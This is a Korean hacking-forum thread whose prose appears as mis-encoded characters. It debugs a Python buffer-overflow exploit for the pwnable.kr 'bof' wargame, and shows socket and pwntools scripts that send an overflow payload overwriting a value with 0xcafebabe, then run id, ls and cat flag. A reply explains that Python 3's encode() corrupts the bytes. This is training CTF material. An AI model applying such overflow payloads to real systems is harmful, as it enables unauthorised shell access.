½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ocal
   pwntools »ç¿ë½Ã¿Í ±âº» socket ¸ðµâ ÀÌ¿ë½Ã Â÷ÀÌ?

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1987 [º¹»ç]


¾È³çÇϼ¼¿ä.

pwnable.kr¿¡¼­ ¹®Á¦¸¦ Ǫ´Âµ¥ pwntools ¹è¿ì±â ±ÍÂú°í ÇØ¼­ ±×³É socket ¸ðµâ·Î Çߴµ¥ ¿Ö ÀÌÈÄ¿¡ ¸í·É¾î¸¦ ¸Ô´Â ºÎºÐ¿¡¼­ ´Ù¸¥°É±î¿ä.

bof ¹®Á¦¸¦ ±â¹ÝÇÏ¿© ¿¹¸¦ µé¾îº¸°Ú½À´Ï´Ù.

Á¦°¡ óÀ½¿¡ Çß´ø °ÍÀº À©µµ¿ì¿¡¼­ ÆÄÀ̽ã 3À» °¡Áö°í ¾Æ·¡ ÇÁ·Î±×·¥À» ½è½À´Ï´Ù.

import socket

X = socket.socket()
X.connect(("pwnable.kr",9000))

payload = "A"*0x34 + "\xbe\xba\xfe\xca" + '\n'

X.sendall(payload.encode())

X.sendall("id\n".encode())

print(X.recv(0x100))

±×·±µ¥ ÀÌ·¸°Ô µÇ¸é id ¸í·É¾îÀÇ °á°ú°¡ Àü´ÞÀÌ ¾ÈµË´Ï´Ù.

±×·±µ¥ ¾Æ·¡Ã³·³ ÀÎÅͳݿ¡ µ¹¾Æ´Ù´Ï´Â ¼Ò½º´Â ÀÌ·±°Ô µË´Ï´Ù.

from pwn import *


r = remote("pwnable.kr", 9000)

payload = "D"*52 + "\xbe\xba\xfe\xca"

r.sendline( payload )
r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()

Ãâó: https://mandu-mandu.tistory.com/71

ÀÌ ¹®Á¦ ¸»°íµµ nc¸¦ »ç¿ëÇÏ´Â ¹®Á¦ ¿©·¯°³°¡ ´Ù ÀÌ·± Çö»óÀ» ³ªÅ¸³»´Âµ¥,
pwnÀ» ±¸ÇöÇÒ ¶§ ¹«¾ùÀ» ÇØÁ־ ÀÌ°Ô µÇ´Â°É±î¿ä?

¼ÖÁ÷È÷ pwntools ±êÇãºêµµ Çѹø ¶â¾îº¸°í Çߴµ¥ µµ¹«Áö ¸ð¸£°Ú½À´Ï´Ù.

  Hit : 3334     Date : 2020/01/09 01:38



    
±ºÀÎ python3 ¹öÀüÀ» ÀÌ¿ëÇÏ½Ã´Â°Í °°³×¿ä.

±â´É¸é¿¡¼­´Â socket°ú pwntools´Â ¶È°°½À´Ï´Ù.
´Ù¸¸, python3ÀÇ encode() ÇÔ¼ö ¶§¹®ÀÎ°Í °°Àºµ¥ \xbe\xba\xfe\xca ÀÌ·¯ÇÑ Á¤»óÀûÀÎ ASCII ¹üÀ§¸¦ ³Ñ¾î³­ °ªµéÀ» encode() ÇÔ¼ö·Î ó¸®ÇÒ ½Ã ³»¿ëÀÌ ¹Ù²î°Ô µÇ´Â Çö»óÀÌ À־ ±×·±°Í °°½À´Ï´Ù.
2020/01/09  
ocal ¿ÀÈ£ ±×·¸±º¿ä ±× ºÎºÐÀ» Çѹø °íÃĺ¸°Ú½À´Ï´Ù. 2020/01/10  
ocal ¿À Á¤¸» ±×·± °Í °°³×¿ä. payload¸¦ ÆÄÀ̽㠹®ÀÚ¿­·Î ¾²Áö ¾Ê°í óÀ½ºÎÅÍ bytestringÀ¸·Î ÀÛ¼ºÇؼ­ str.encode() ¸Þ¼Òµå¸¦ ¾²Áö ¾Ê°í ¹Ù·Î º¸³»¸é Àß µË´Ï´Ù. °¨»çÇÕ´Ï´Ù. ¾Æ·¡´Â °íÄ£ ÄÚµåÀÔ´Ï´Ù.

#python3
import socket

X = socket.socket()
X.connect(("pwnable.kr",9000))

payload = b"A"*0x34 + b"\xbe\xba\xfe\xca" + b'\n'

X.sendall(payload)

X.sendall("id\n".encode())

print(X.recv(0x100))

°á°ú:
b'uid=1008(bof) gid=1008(bof) groups=1008(bof)\n'
2020/01/10  
±ºÀÎ ^_^ 2020/01/13